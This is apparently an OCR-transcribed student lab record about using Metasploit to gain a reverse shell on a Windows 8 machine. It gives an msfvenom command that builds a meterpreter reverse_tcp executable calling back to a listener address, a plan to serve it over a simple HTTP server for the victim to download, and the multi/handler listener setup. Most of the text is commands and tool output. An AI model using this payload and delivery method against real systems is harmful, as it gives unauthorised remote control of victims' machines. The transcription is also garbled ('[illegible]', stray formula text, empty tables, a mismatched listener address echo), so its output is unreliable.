

METASPLOIT

Aim:

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type `http://172.16.8.155:8000`
8. In KaliLinux, type `sysinfo` to get the information about Windows 8 machine
9. Create a new directory using `mkdir` command.
10. Delete the created directory.

Output:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155 LPORT=443 -f exe > /root/hj.exe
```

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

```
[-] No arch selected, selecting arch: x86 from the payload
```

No encoder or badchars specified, outputting raw payload

Payload size: 341 bytes

Final size of exe file: 73802 bytes

```
root@kali:~# msfconsole
```

```
[-] ***Rting the Metasploit Framework console...\
```

```
[-] * WARNING: No database support: could not connect to server: Connection refused
```

Is the server running on host "localhost" (::1) and accepting

TCP/IP connections on port 5432?

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 5432?

[-] ***

[illegible]

```
= [ metasploit v5.0.41-dev ]
```

$$+ \text{---} \text{---} = [1914 \text{ exploits} - 1074 \text{ auxiliary} - 330 \text{ post}]$$

+ -- --=[556 payloads - 45 encoders - 10 nops]

+ -- --=[4 evasion]

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
```

Module options (exploit/multi/handler):

| Name | Current Setting | Required | Description |
|-------|-----------------|----------|-------------|
| ----- | ----- | ----- | ----- |

Payload options (windows/meterpreter/reverse_tcp):

| Name | Current Setting | Required | Description |
|----------|-----------------|----------|--|
| ---- | ----- | ----- | ----- |
| EXITFUNC | process | yes | Exit technique (Accepted: ", seh, thread, process, none) |
| LHOST | | yes | The listen address (an interface may be specified) |
| LPORT | 4444 | yes | The listen port |

Exploit target:

| Id | Name |
|----|-----------------|
| -- | ---- |
| 0 | Wildcard Target |

```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
LHOST => 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit
```

[*] Started reverse TCP handler on 172.16.8.155:443

Result: Thus, the setup of Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been executed successfully.